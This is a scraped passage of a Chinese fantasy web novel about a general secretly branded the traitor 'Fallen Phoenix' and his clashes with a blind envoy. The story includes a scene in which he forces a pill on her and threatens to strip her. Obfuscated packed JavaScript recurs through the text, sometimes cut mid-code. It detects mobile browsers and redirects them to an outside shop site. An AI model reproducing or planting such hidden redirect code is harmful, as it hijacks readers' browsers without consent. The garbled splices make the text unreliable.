众将惊疑不定,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈骁再也按捺不住,拍案而起,怒喝道:“便是他娘的照遍全军,将军也绝不可能是那堕凤!姓罗的,你莫要欺人太甚!” 众将皆是应声而起,手按兵刃。 罗阑却像是充耳不闻般,只向着主位上面沉如水的离曜道:“将军莫非是不敢照?” 离曜咬着牙,环视帐中一张张熟悉的面孔——这都是跟他出生入死数十年的兄弟。他忽地一把抓起酒壶,将残酒一饮而尽,重重摔碎在地,放声大笑。 “好!带着那照魂镜上来,给老子照个清楚!” 众目睽睽下,高佑捧着那镜面,一步步行至离曜跟前。 离曜却连看也不看他,只盯住罗阑那张可恶的脸,恶狠狠地想,若这一遭真要栽,他也定不让罗阑好过! 帐内众将本都是毫无疑虑,此刻却不知为何,心头都绷紧了一根弦。 镜面对准离曜—— 一秒,两秒,三秒…… 镜面如水纹荡漾,映出离曜清晰的身影轮廓,却无丝毫异象。 许久,镜面依旧幽暗。 离曜心头一松,面上仍绷得死紧。 高佑讪讪捧着镜面退了回去。 王贲沉声喝问:“罗大人,你还有何话可说?” 话音刚落,却见高佑手中镜面蓦地亮起一点赤金光芒,转瞬化作烈焰,在镜面上燃烧起来! “是、是丹凤神火!”高佑失声惊呼,手几乎拿不住镜子。 4. 觥筹藏锋 众人大惊失色。离曜才放下的心,瞬间又提到了嗓子眼。 高佑强忍灼痛,举镜向帐中人照了一圈。镜光映照之处,众人只觉神魂一阵微微灼热。 镜光迅速掠过,最终,在扫过一人时,镜中金焰一跳,旋即化作一道细细的金线,直指那人心口! 高佑眼疾手快,一把揪住那人,将他拖拽出来,大声道:“就是他!他体内藏有丹凤神火!” 镜中,果见一缕炽烈夺目的赤金火焰,自那人心口位置隐隐浮现。 离曜又惊又疑,定睛看去,那人竟是陆明! 陆明本人更是不可置信,一把甩开高佑,怒道:“你胡说什么!我怎会是堕凤!” 众将纷纷声援:“这小子是我等看着长大的,与那魔族更有不共戴天之仇,说他是堕凤,实在荒谬!” 离曜起身道:“罗阑,你都听见了?本将可为陆明作保,他绝非堕凤。” 罗阑仍似无波无澜,向陆明的方向看了一阵,道:“就算他不是堕凤,也必定与堕凤关系匪浅,否则凤凰心火何其珍贵,怎会剥离储藏在他人体内?” 陈骁讷讷:“可这……” “不论如何,堕凤其人就在曜光军中,诸位应是无可质疑的了。” 陆明低着头,兀自一言不发,众将也都哑口无言。 罗阑缓步走到陆明跟前,示意影卫上前,“至于此人——我是非带走不可的。” 陆明握紧了拳头,他再是不忿,也知道自己已与堕凤沾上关系,此行恐怕凶多吉少了。 离曜身形一闪,挡在陆明身前,逼视罗阑:“若我不允呢?” 若换作旁人,早就被这气场压得抬不起头,可罗阑偏偏稳如泰山。 “那便是要公然包庇堕凤了,”她毫不退让道,“将军可知,堕凤之名一出,天下共诛。届时,来的便不是在下一介文使,而是仙盟执法殿与各宗联军。将军自问,曜光军可愿与整个灵域为敌?又可愿,与那堕凤为伍,玷污曜光军数年来用血铸就的忠烈之名?” 陆明有些红了眼眶,毅然踏前一步:“陆明自愿受审!请将军……莫要涉险!” “陆明!”离曜低喝,伸手欲拦。 陆明却已向着离曜单膝跪下,重重抱拳:“将军!弟兄们!陆明问心无愧,相信仙盟亦会查明真相!还请诸位以大局为重,切勿因我一人,使全军陷入不义之地!” 离曜胸膛起伏,看着跪在地上的年轻部将,又环视周围一张张或愤慨、或忧虑、或茫然的脸。 他骤然转身,一把攥住罗阑的衣襟,将人狠狠提起,二人距离骤近,呼吸可闻。 “罗阑!”离曜从牙缝里挤出声音,“我就奉那召令去阙都太玄殿,看你们能审出个什么花样来!” 他松开手,将罗阑推得后退半步,转身面向众将,朗声道:“在我回来之前,曜光军由副帅赵统良全权统辖,原地驻防,未得我亲令,一兵一卒不得调动!若有人敢趁我不在,擅动我军一将一卒……” 他目光剐过罗阑,“便是与我离曜,与整个曜光军为敌!” 罗阑似乎早有所料,对他的威胁恍若未闻,只微微颔首:“可。如此,请将军即刻动身。” 离曜冷哼一声,大步走向帐外,经过罗阑身边时,脚步微顿,用只有两人能听到的声音道:“罗阑,这趟浑水,你可要淌稳了。若让我知道是你在背后捣鬼……你这细脖子,可不够我掐第二次。” 罗阑声音依旧平稳:“不劳将军费心。请。” * 夜色渐沉。 罗阑坐在轮椅上,由影一推着,登上城头。 她低低咳了几声,方才帐中交锋看似从容,实则心神损耗极巨,此刻松懈下来,便显出几分掩不住的疲态。 高处风烈,呼啸着穿过垛口与箭楼,卷起她未束紧的几缕发丝与袍袖。 玄枢关城墙高逾百丈,是灵域最为紧要的关隘。百年前那场浩劫,魔军黑潮便是由此破关而入,席卷灵域,直至今日,关城方由曜光军浴血夺回。而传说中的“堕凤”,也正是陨落于此墙之下。 “这城头真是高绝。”罗阑轻叹,“影一,辛苦你带我上来。” “此处风大,主上何苦要来?” 罗阑沉默不语,那双幽凉的眼睛朝城墙下望去,似是穿透百年光阴,看到了当日城下光景。 城头月色冷冷地照下来,将她半边身形笼入深沉的暗影里。 许久,罗阑忽道:“小川那边可是有了消息?” 影一愣了愣,反应过来小川是谁,低声道:“是。就在主上昏迷那几日,阙都传来密信,魔君似已察觉主上行迹,正遣暗部追查。玉姑娘忧心主上安危,特命属下暂缓禀报。主上可要与玉姑娘留信?” “你与她说一声便是,魔域那边,设法周旋,能拖延多久,便拖多久罢。” 影一应下,片刻犹豫后,还是道:“属下尚有一事不明。” 罗阑淡淡接话:“你可是疑惑,我为何只押了陆明一人回阙都,却任由帐内其余将佐留在玄枢关城内?” “不错。依主上行事惯例,那陆明亲故,按理都该押守彻查才是。” 罗阑声音极轻:“其一,此刻仙盟与曜光军关系紧张,稍有过激之举,便易生事端。” “其二……我已知堕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059107|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凤是谁。他既自愿随我去,又何必再惹众怒?” 影一悚然动容,失声道:“那昭夜侯,当真便是——!” 话未说完,一个声音插进来道: “罗大人真是好兴致,深更半夜,竟有闲心到这城头吹风赏月。” 影一浑身汗毛倒竖,霍然转身,便见离曜站在几丈外箭楼旁的阴影中,已不知听了有多久。 此刻他冷冷盯着罗阑,面无表情。 影一察觉到那股弥散的杀机,霎时浑身紧绷,一动不敢动。 隐匿在四处的十二名影卫,先前竟无一人察觉到离曜的存在,此刻俱都绷紧了心神,自暗处悄然围拢。 下一刻,离曜动了。 身形一闪,只一霎,已逼至罗阑面前! 影一暴起出刃,寒光直刺离曜咽喉——却见离曜不躲不避,只随意抬手一抓,竟凭空捏住了那道疾如闪电的短刃! “咦?”离曜挑眉,指间劲力一吐,影一只觉虎口剧震,短刃险些脱手,“身手不错嘛。” 话音未落,离曜已旋身欺近罗阑,其余影卫亦同时出手,十数道杀招自不同方位,织成一张杀网—— 轰——!!! 气浪翻滚,城头砖石崩裂!影卫们被震得倒飞出去,离曜却已借着这反冲之力掠至罗阑身后,五指扣住她后颈,一把将人从轮椅上提起! “主上!”影一失声惊呼。 离曜挟着罗阑纵身一跃,直直踏空而起,冲天而上。 “拦住他!”影一嘶声厉喝,率先追去。十数道黑影如箭离弦,凌空截杀! 离曜头也不回,反手拔刀,那柄闻名天下的佩刀“惊煌”骤然出鞘,向后斩去—— 砰!砰!砰——! 夜空接连爆开数团耀眼的光华,如烟火绽放。刀锋过处,影卫们的杀招如泡沫般破碎。那刀势霸烈无匹,逼得影卫们不得不退。 刀气余波所及,城墙砖石寸寸龟裂,碎屑如雨纷飞,整座玄枢关仿佛都在颤抖。 惊煌刀发出一声清越长鸣,被离曜足尖一点,凌空虚踏,化作一道流光载着两人疾射向高空,越飞越高,越飞越远,将影卫远远甩开。 不过几个呼吸,玄枢关城已在脚下缩成棋盘大小。 狂风在耳边呼啸,罗阑被冷风灌得浑身打颤。 离曜冷眼旁观,脚下惊煌刀光华流转,速度更快了几分。飞至某处云海之上,才松了钳制罗阑脖颈的力道。 罗阑踉跄着往后退开,一脚踩空,又在即将跌落的刹那,被离曜一把揪住,拉近身前。 离曜盯住她看了半晌,终于道:“你怎知我便是堕凤?” 5. 前尘旧爱 罗阑冷道:“我原也不知,是你自己认的。” 离曜一怔,被这话绕得昏了头,忽而醒悟,气笑道:“那你城头上那话是何意思?” “自是在说陆明。”罗阑语带讥刺,“谁叫你急着跳出来,话是你自己说的——‘你便是堕凤’。” 离曜简直气煞。 他一把提起罗阑,森然道:“罗阑,你确定要这么跟我兜圈子?” 他脚下微震,长刀嗡鸣轻晃,载着两人立于九天寒风与孤月之间,脚下便是万丈虚空。 “我把你从这里丢下去,怎么样?” 罗阑冷冷抬手,“啪”一声拍开离曜揪着衣襟的手。 “当不得真的话,便不必说了。”她喘匀了气,“我若死了,那陆明又岂有命可活?” 离曜哼一声,脚下刀兵忽然一斜,罗阑脚下站立不稳,一头栽进离曜怀里。 离曜嗤了声:“我看你还没搞清楚状况。” 他说着,一把捏过罗阑下巴迫她抬起脸来,罗阑只觉脸上一凉,面具已被摘去。 他在她耳边哼笑:“这碍眼的面具,我替你丢了。” 罗阑皱眉:“你——!” 话未说完,离曜手指竟已探入她口中! 罗阑张口便要咬,却被他死死掐住下颌,一指直探到嗓子眼处。一粒微凉的药丸被推入喉中,离曜指尖抵着,确认她吞咽下去,才抽出手来。 罗阑喘息不定,狠狠抹去嘴角被逼出的湿痕。 离曜甩了甩手,指间残留着那湿软的触感,顿时一阵恶寒。 他把指尖水液在罗阑肩头的衣料上擦干净了,拍了拍她的脸,调笑道:“以后说话客气点,嗯?” 月色清清冷冷地洒下来,照亮罗阑失去面具遮挡的脸。 离曜仔细端详着。 罗阑眉眼其实生得很好,鼻梁挺直,唇色淡薄,若不是那双眼睛…… 离曜忽然怔住。 他凑近了些,盯着罗阑的眼睛看。 看了许久,久到罗阑已别开脸,冷笑着开口:“你难道以为,凭一颗毒丸,便能令我乖乖听话?” “谁跟你说那是毒?”离曜嗤笑,“不过是颗催情丸。你不是对那浣衣营感兴趣吗?等药效上来了,我就把你衣服扒干净,丢到那营中去,你说可好?” 罗阑脸色顿时变了,半晌方道:“你是在开玩笑?” “怎么?不信我?”离曜见了罗阑这幅模样,心头莫名畅快,“就你这身子骨,我还真怕你把自己折腾死了。放心,只让你在营中光着晾一夜,丢丢脸罢了。” 他知道罗阑这样的人,可以不惜命不畏死,却绝难忍受尊严被剥光,暴露在千百人目光之下。 眼见罗阑脸色越来越难看,离曜心中那股恶劣的愉悦感便越是高涨。 她越不好过,他便越觉痛快。 罗阑忽地抬手,啪一记狠狠扇在他鼻子上,“混账!” 离曜被这一下打蒙了,鼻尖一阵酸痛,反应过来后,舌尖舔了舔后槽牙,却是笑出了声。 他扳过罗阑的下巴,强迫她“看”向自己。 “你的眼睛,根本什么都看不见,是吗?” 失去了面具的遮挡,看久了便能觉出异样。那双眼睛很美,眼尾微扬,睫羽纤长。可瞳孔深处却是一片空洞的死寂,荒芜如同冬日雪原,映不出半分光亮,也映不出丝毫情绪。 难怪罗阑出入不是坐轮椅,就是要倚手杖。难怪她要戴那副面具——只有这样,她佯装的视线才显得自然。 离曜真没想到,一个瞎子,居然能靠惊人的感知力隐藏这么久,在仙盟中担任要职。回想此前数次会面,罗阑的表现竟都无懈可击。 罗阑咬着唇,忽觉体内发热,素来苍白的脸上涌起一阵红潮。 她睫毛轻颤,呼吸急促起来,切齿道:“你、你竟真的……” 离曜盯着罗阑眼尾曳着的那抹惊心动魄的红,不觉看得呆了。 罗阑低喘着,一把拉住离曜袖口,竟显出几分难得的惊慌来:“解药……快把解药给我。” 离曜挑眉,任她抓着袖子,慢悠悠道:“你可想清楚了——等到得太玄殿议会,该要如何说,如何做。” “……” 罗阑咬牙道:“……我自不会抖落你的身份,至于陆明……我可保他安然无虞。” “好!”离曜终于沉下声来,正色道,“记住你的话。我不管你与魔域有何关联,也不管你究竟是谁,若你胆敢违背此诺——” 罗阑截断他的话:“我自不愿你将此事揭破。两相挟持,各有所忌,这总可以了吧?” 离曜总算满意,一把攥过罗阑冰凉的手心,伸手就去扯她层叠的衣领。 罗阑大骇,声音都变了调:“你做什么?!” “做什么?”离曜哼笑,手下动作不停,“不过一颗暖身的丹丸罢了,要什么解药?我给你松开衣领散散热便是。” 罗阑气怒:“放开!” 她竭力挣扎,奈何双手都已被离曜扣住,如何都挣不脱。 离曜拎住她双腕,在她跟前晃了晃,“慌什么?罗阑,你遮遮掩掩这么久,终是让我逮着了,我可要好好检查一番——” 罗阑感到领口就要被拉开,听了这话,骤然僵住。 少年蛮横的话语犹在耳畔: “这契印在你身上,你就得一辈子给我当老婆。” “忘了又如何?一次,两次,再来多少次都是一样。只要契印还在,我总能找到你。” …… 罗阑心神俱震,紧紧揪住离曜,“你……你难道……” 离曜正低头解她衣襟,忽瞥见罗阑眼里竟似有水光浮动,心头一震,动作霎时顿住。 他疑心是看错了,却见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059108|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那双空洞的眼睛里,此刻蒙上了一层极淡的湿气,映着月色,果真像是要流泪。 离曜被烫了似的松开手,“你、你哭什么,我不过逗逗你,又不会真把你怎么样。” 他尴尬地移开目光,却忍不住偷偷觑她。 失却了面具的遮挡,罗阑苍白的脸在月光下显得格外脆弱,眼尾泛红,嘴唇紧抿,好像真的很可怜似的。 离曜忽觉一股别样燥热邪恶的冲动涌上,赶紧别开视线,在心里骂娘。 就在此时,远处天际传来破空之声,数道黑影迫近。 影卫们竟追上了。 离曜“啧”了一声,又像是松了口气。他一把挟起罗阑,脚下忽地拔高数丈,握住惊惶,接连劈出数刀! 刀光横空,瞬间搅动得方圆百丈风云色变,硬生生将十二影卫阻于百丈之外,难以寸进。 “你这群暗卫,倒真是难缠。” 此刻气流颠簸,罗阑额头渗出热汗,喘息格外粗重,忽一把狠狠推开他,“松手!” 离曜一时不察,竟真让她推开了。罗阑整个人从高空直坠而下! “主上!”远处影卫惊呼,却已救援不及。 离曜纵身而下,急坠直追,一把将人拦腰捞住。 触手冰凉,轻盈得不像话。 离曜抱住她,足下惊煌刀划出一个巨大的圆弧,卸去下坠之力,转而向上疾飞,几个起落间,一路掠回玄枢关城头,将人往垛口边一丢。 “咳咳……咳咳咳……”罗阑伏在城头,一阵撕心裂肺的呛咳。 离曜听得皱眉,抱臂站在一旁,看她咳得浑身发抖。 好半晌,咳嗽声才渐渐止息。 罗阑撑起身子,摸索着,慢慢理了理散乱不堪的衣襟和发丝。 她冷不丁地开口:“你可是来向我寻仇的?” 离曜一愣:“什么?” 罗阑却已别过脸去,冷冷道:“滚!” 离曜心头一股无名火“腾”地又烧了起来。 但转念间,想起罗阑往日说话惯来客气,便有什么歹话也都说得阴阳怪气,绵里藏针。今夜只怕真把这人气得狠了。 罗阑立在夜风中静了片刻,听见身后传来动静,有人伸手来扶她手臂,被她反手一掌拍开。 便听影一惊愕的声音:“主上?” 罗阑一顿,掩去面上的落寞之色。 她转身道:“你们都回来了。” “是!”十二影杀在罗阑跟前齐齐应声。 无形的屏障悄然升起,将这一角城头与外界隔绝。 影一:“主上所料,分毫不差。我等在外围跟随,果觉有人隔空窥探。” “哦。”罗阑长睫低垂,神色莫名,“都有些什么人?” “璇玑阁、秦门世家,还有一道……”影一略微迟疑。 “……来自曜光军中。” 6. 前尘旧爱 阙都,揽月楼。 时值午后,三层环廊内坐满了修士与闲客。中央挑空的天井处,一座旋转升降的宽阔戏台正上演着一场术法幻戏,绚烂流光与剑气交迸,引得满堂喝彩。 离曜坐在三楼靠窗的雅座,一身不起眼的常服,目光落在窗外人流往来的主街上。 自他抵达阙都,已有三日。罗阑一行迟迟未至,太玄殿议事便也只得搁置。 戏台上鼓点骤密,金铁交鸣,一场打斗正到酣处。那扮演仙盟盟主的蓝衣武生剑法飘逸,与数名对手战得难分难解,引来阵阵叫好。 剑法虽只是戏台上的花架子,却依稀能看出几分灵域正统剑术的影子。 离曜意兴阑珊地瞥了一眼,正待移开目光,忽听一阵张狂大笑凭空炸响,压过了所有乐声与喝彩。 “哈哈哈哈——!” 戏台侧幕,一道矮小身影飘然而出。 那人面覆一张凶煞狰狞的白面具,手中长剑寒光一闪—— “铛!” 一声脆响,“苏盟主”手中长剑竟被挑飞! 满场骤然一静。 “这是谁?”离曜邻桌,一位年轻女修惊诧地扯了扯同伴的衣袖,低声惊问,“看装束不像魔族啊,怎地……怎地一招就令‘苏盟主’败北了?” 台上,那矮小男子笑罢,竟朝着“苏盟主”抱了抱拳: “师兄,承让。” “呀!”年轻女修轻呼一声,“我知道了!这莫非是那——” “可不就是那‘堕凤’么?”旁桌一人接话,“想当年,他也算是剑门天骄,不世出的天才剑修,啧啧,只可惜啊……自甘堕落!” 话音未落,台上场景已转。 鼓乐骤变,哀婉缠绵。那矮小男子身侧,多了名身段窈窕的女伶,她面覆黑纱,露出的一双眼妖媚异常。 二人执手相望,竟在战火纷飞的背景中拜堂成亲。 那女修凝眸看了半晌,慨叹:“这就是那名唤‘绛雪’的魔族魅女?连扮演的女伶都如此惑人,不知真人该是何等模样。” 自堕凤之事后,仙盟便立下严规,灵域中人,严禁与魅族女子通婚,违者以叛域论处——便是怕重蹈覆辙。 离曜把玩着手中酒杯,见了成婚这幕,冷笑出声:“这出戏都唱多少年了,翻来覆去,也不嫌腻味。” 一旁侍立的伙计耳尖,闻声立刻堆起殷勤的笑脸道:“客官您有所不知,这《剑门英烈传》可是咱揽月楼,不,是整个阙都百年来最叫座的戏!多少外地修士专程来看呢!您若觉得腻了,不妨再等等,下一出《昭夜传》近几十年也极受欢迎,精彩得紧!” 离曜目色沉沉,看着戏台上那一片虚假的红与伶人夸张的表演,指节攥紧了。 堕凤……堕凤! 想他当初,看的可不就是眼前这一出戏么? …… 他是在一个荒村里醒来的。 身下是混杂着草灰与血污的泥土,头顶是青灰色的天空。 头痛欲裂,像有无数细针在颅内攒刺。他撑起身体,环顾四周——断壁残垣,焦木枯骨。 有几个衣衫褴褛的逃难者发现了他,“喂,你是谁?哪的人?怎一个人待在这魔兵扫过的地界?” 他茫然摇头。 问话的人叹了口气,摇摇头走开了。 他独自坐在废墟间,看着天色一点点亮起来。第一缕晨曦微光刺破云层,泼洒在这片满目疮痍的大地上,就在那光芒漫过眼帘的刹那,一个柔和的声音,莫名在他耳边响起—— “……如彼晨离,曜景扶桑……这日出,可真美啊。” 他看着那光耀四方的太阳,心中一动。 “离曜。”他嘶哑地吐出这个名字。 面前的官兵登记下这个名字,“可以了。” 彼时灵域危急,魔军肆虐屠城掠地,所过之处生灵涂炭,哀嚎遍野。仙盟苦苦支撑,四处征召修士入伍抗魔。 离曜几乎没有任何犹豫,便投身军旅。 入伍后,他很快便崭露头角。 他似乎天生就修为高绝,剑术高妙,并且触类旁通,精擅各类兵器,作战领兵都不在话下。排兵布阵,战场机变,也往往能料敌机先,出奇制胜。甚至在一些与魔兵作战的细节上,竟比很多老兵都还要有经验。 同袍们起初惊异,继而敬佩,称他为“天生的战将”。他晋升极快,身边逐渐聚集起一群愿意追随他出生入死的兄弟。他们一同饮酒,一同冲杀,在生死杀场中互相扶持。那种被需要、被信任、肩并肩背靠背的感觉,短暂地填补了他记忆的虚空。 直到改变一切的那个黄昏。 一次遭遇战后,他所在的小队伤亡不轻。 离曜背着负伤的战友小伍回营,途中又遇魔兵伏击。 生死一线间,他体内爆发出一股灼流,一道凤翼虚影破体而出,热浪排空,将冲锋而至的魔骑倒卷回去! 首当其冲的几名魔骑连人带坐骑,在凄厉的惨嚎中化作飞灰,其余人也都被灼热气浪掀翻。 战斗在转瞬间开始,又在转瞬间结束。 荒野上只余下几缕黑烟袅袅散开。炽金凤翼虚影缓缓收敛,没入他体内。 离曜脱力喘息,感到体内那股灼热的狂流平息了下去。 “堕……堕凤?”身后传来小伍颤抖的声音。 离曜回过头,便看到小伍惨白的脸,和一双瞪大到极致的、充满骇然、恐惧、乃至……憎恶的眼睛。 所有人的眼神都变了。那些曾经充满信赖、敬佩、甚至崇拜的目光,都被惊骇、愤怒、以及深入骨髓的痛恨取代。 “丹凤神火……只有那个灾星,那个堕凤,才有!” “堕凤……他是堕凤!”有人颤声低语。 他们最终没有杀他,而是收缴了他的兵甲,以及他手中的统领令牌,然后像驱赶秽物一样,将他逐出了营地。 小伍偷偷追上来一段:“你……好自为之。千万别再在外显露你体内那丹凤神脉了。会死的……所有人都会想你死……” 离曜茫然走在荒野,不知去向。 天地之大,竟无他立锥之地。 不知走了多久,后方传来大队骑兵奔驰的闷响和魔军特有的呼哨声。 离曜闪身躲入木丛后,伏低身体。 一队规模不小的魔军骑兵轰然而过,离曜屏息凝神,目光却骤然凝固—— 他认出了领头那魔将手中抛玩的令牌。 不祥的预感冰水般浇遍全身。他目光急转,看向队伍后方。 几根长矛,从队伍末尾一匹格外高大的战兽背上斜伸出来。矛尖上,串着一颗颗血肉模糊、怒目圆睁的头颅,发髻散乱,面容扭曲,沾满血污,但离曜依然能一眼认出那些面孔—— “不是说这令牌主人是个狠角色?也不过如此嘛。” “可不是!还敢瞪着眼骂咱,直接一刀串了当糖葫芦!” “哈哈,这回一个不剩全宰了,令牌揣着回去,宣将军定有重赏!” 魔兵们谈笑恣意,语气轻蔑。 离曜趴在地上,浑身血液冻结,又在下一秒轰然沸腾,直冲头顶! 他从藏身处暴起,直扑向那队魔骑! 人头滚落,血喷丈余。 骨骼碎裂声、火焰灼烧皮肉的嗤响、魔兵凄厉的惨嚎,混杂在一处。 那枚玄铁令牌被他夺回,紧紧攥在手中。 “敌袭!杀了他!” 大队魔骑反应过来,怒吼着从四面围杀上来,刀枪剑戟,暴雨般倾泄而下! 离曜浴血而战。 杀戮。 无尽的杀戮。 他不知疲倦,不知疼痛,眼中只有翻飞的血肉、断裂的肢体、魔军惊恐扭曲的面容。鲜血浸透了他的衣衫,顺着发梢滴落,在他脚下汇成蜿蜒的血河。 离曜杀到近乎麻木,眼前的世界被一片刺目的血红覆盖。 可怕的是,在这无休止的血腥杀戮中,他竟感到一种快意。 魔军东路大营。 主帅宣烨正对着地图沉思,忽有传令兵仓皇闯入:“将军!‘烈风’大队遭遇强袭,全军……全军覆没!” 帐中诸将闻言齐齐变色,宣烨沉声问:“何人领兵?敌方有多少人?” “不、不是……”传令兵脸上犹带惊惧。 “敌方只有……一人。” “一人?!” 正在此时,营外传来冲天的喊杀声! 离曜竟奇迹般的,凭着一枚令牌、一身可怖伤势、以及一股令人心悸的悍戾气势,从最近的要塞“借”调出三千轻骑。 没有休整,没有犹豫。他带着这三千人马,如同复仇的幽魂,在夜色掩护下,悍然突袭了宣烨大军后阵。 大火冲天而起,杀声震动四野。 三千对数万,夜袭敌后,火攻连营,直捣中军。此战重挫宣烨,一直拖到仙盟主力驰援。 宣烨直取阙都的雷霆计划,就此折戟。 “离曜”之名,一夜之间传遍前线,继而响彻灵域。 此后,他屡战屡胜,抗击驱退各路魔军,成了绝境中力挽狂澜的英雄,为飘摇灵域撑起了一片天。 荣耀加身,万众景仰。 但离曜心中,并无分毫喜悦。那种自醒来便盘踞不去的空虚感,在每一次胜利后,反而愈发膨胀。 庆功那日,仙盟特意从阙都请来了最好的戏班。 军中难得有此盛事,将士们围坐欢饮。正是在看戏时,那令离曜骨髓生寒的名字再次响起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【天道昭昭,幸存剑门大师兄苏沉辰——即今之苏盟主,其时正在外历练,闻讯赶回,目睹师门惨状,悲愤欲绝,誓杀叛徒!他寻得堕凤踪迹,持天衍剑追杀千里,二人于泣血崖展开决战。】 戏中的“苏盟主”剑法通神,正气凛然,将“堕凤”逼得步步后退,狼狈不堪。 最终,“堕凤”被一剑重创,喷血败逃。 【堕凤虽得魔族秘法,然邪不胜正,终被苏盟主浩然剑气所败,逃窜至玄枢关下,岂料那魔女绛雪,眼见堕凤失势,竟翻脸无情!】 关城下,“堕凤”向“绛雪”伸手,嘶喊:“绛雪!救我!” “绛雪”却微微侧身,露出了身后阴影中,一排排早已张弓搭箭、魔力缭绕的魔族弓手。 刹那间,箭如飞蝗,魔气森森,尽数钉入“堕凤”后背前胸! “堕凤”身体剧震,艰难仰首。至死,他都望着“绛雪”的方向。 【叛徒伏诛,大快人心!苏盟主承剑门遗志,联合各派成立仙盟,励精图治,领我灵域众生奋起抗魔,乃有今日之局!】 台下将士群情激昂,对堕凤的切齿唾骂、对魔军的仇恨呐喊、对苏盟主的崇敬欢呼,响成一片。 离曜的脸色,就在这满场呼和声中,一点一点灰败下来。 他总算明白了。 “堕凤”二字所承载的,是何等深重的罪孽与血仇。叛变投魔,屠戮同胞,开关放敌,致使师门覆灭,魔灾降临,百万生灵涂炭……他是灵域百年苦难的源头之一,是钉在耻辱柱上永世不得超生的叛徒、罪人、小丑。 尽管台上那矮小猥琐、行事癫狂的“堕凤”,看来与他相差悬殊,他却无法否认,自己的的确确,就是堕凤—— 不止因为那独门的丹凤神火,更因为…… 他目光投向戏台上扮演绛雪的女伶。 每夜梦魇深处,总有一女子面貌模糊,唯有那双眼,时而含情脉脉,时而冰冷讥诮。 “阿昭——你可愿信我?”那声音极温柔。 原来如此。 原来他奋力搏杀、守护着的这片土地,视他为史上最卑劣的叛徒。 原来他梦魂中都为之颠倒沉沦的那个女人,正是亲手将他送入地狱之人。 “哈哈……哈哈哈……”离曜忽然低低地笑了起来,起初是压抑的,继而声音越来越大,变成了放纵的、甚至有些癫狂的大笑,引得周围陪同观戏的将官和仙盟使者纷纷侧目,面露诧异与不解。 “将军?”身旁副将小心唤道。 离曜止住笑声,抓起案上杯盏,仰头痛饮,大声道:“好!演得好!继续!都给老子继续唱!哈哈!” 他面上笑着,杯盏在他手中被捏碎,悄无声息地,碾成了一撮粉末,从指缝簌簌落下。 他曾那样渴望寻回记忆,哪怕碎片也好。如今,他却一点、一点都不愿再想起了。 这被强加的、耻辱不堪的过去,不要也罢! 但—— 他缓缓抬起眼,再次看向戏台。台上,“绛雪”正依偎在扮演某魔族大将的伶人身边,巧笑嫣然。 一种比恨更刻骨、比痛更绵长的情绪,如同毒藤,在他心腔内疯狂蔓延。 绛雪。 无论你是谁,无论你在哪里。无论过往是真是假,是爱是恨…… 我定要找到你。 7. 前尘旧爱 满场的喝彩与唏嘘都像隔着一层厚重的水幕,模糊又遥远。 忽有传令兵疾步而来,向离曜禀报:“将军,盟主亲临慰问,已至营门。” 离曜眸色沉了沉,对左右道:“随我迎盟主。” 该来的总会来。 他已做好最坏的打算——若被认出,拼死杀出去便是,他离曜从不是束手就擒之人。 大营内。 离曜终于见到了传说中的苏沉辰,当今仙盟盟主,剑门唯一幸存的大师兄,戏台上光华万丈的英雄。 然后他大失所望。 眼前之人,面容平凡,气度也只见沉稳温和,绝无戏中那般慑人光彩。唯有一双眼睛,透着历经世事的沉稳。 他认不出离曜。 即便离曜就站在他面前,即便他们曾师出同门——苏沉辰态度没有分毫异样,只是对一位抗魔将领的赞赏与勉励。 交谈间,离曜状似无意地提起:“听闻盟主与那‘堕凤’师出同门,不知他是何模样?真如这戏台上演的一般不成?” “戏台?” 苏沉辰这才注意到上演的戏班,眼中显现出一点异样。 像是怔忡了一瞬才反应过来离曜的问题,他摇了摇头,眼中情绪复杂。不是恨,不是痛,而是一种更深、更渺远的怅惘。 “这世间,”苏沉辰低声说,“早已无人记得小师弟样貌了。” 小师弟。 离曜呼吸一窒。这是他第一次听到有人用“堕凤”以外的称呼。 苏沉辰看向离曜:“离将军为何问起这个?” 离曜强压心绪:“好奇罢了。毕竟那等人物,总引人遐想。” 苏沉辰深深看他一眼,“旧事已矣,多说无益。” …… 阙都揽月楼内,离曜回过神来时,戏台上早已换了一派金戈铁马的杀伐之音。 《昭夜传奇》的鎏金戏牌被高高挂起,扮演昭夜侯的武生金甲熠熠,于幻术凝成的千军万马间纵横驰突,引得台下欢声雷动。 “昭夜侯夜袭魔营,孤身斩将,血染金甲……” 座中看客个个满脸自豪与崇敬,高声喝彩,如同亲历那场惊心动魄的夜袭。 离曜忽然很想知道,这群此刻为他欢呼呐喊、将他奉若神明的人,若是知晓“昭夜侯”与他们方才切齿痛骂、恨不能食肉寝皮的“堕凤”,原是同一人—— 会露出什么表情? 他离曜从来不是什么英雄。 他体内藏着一个恶魔,一个嗜杀的、残暴的、连他自己都害怕的恶魔。 世人皆道昭夜侯用兵如神、悍勇无双,为守护灵域浴血奋战,实则他不过嗜杀成瘾罢了。 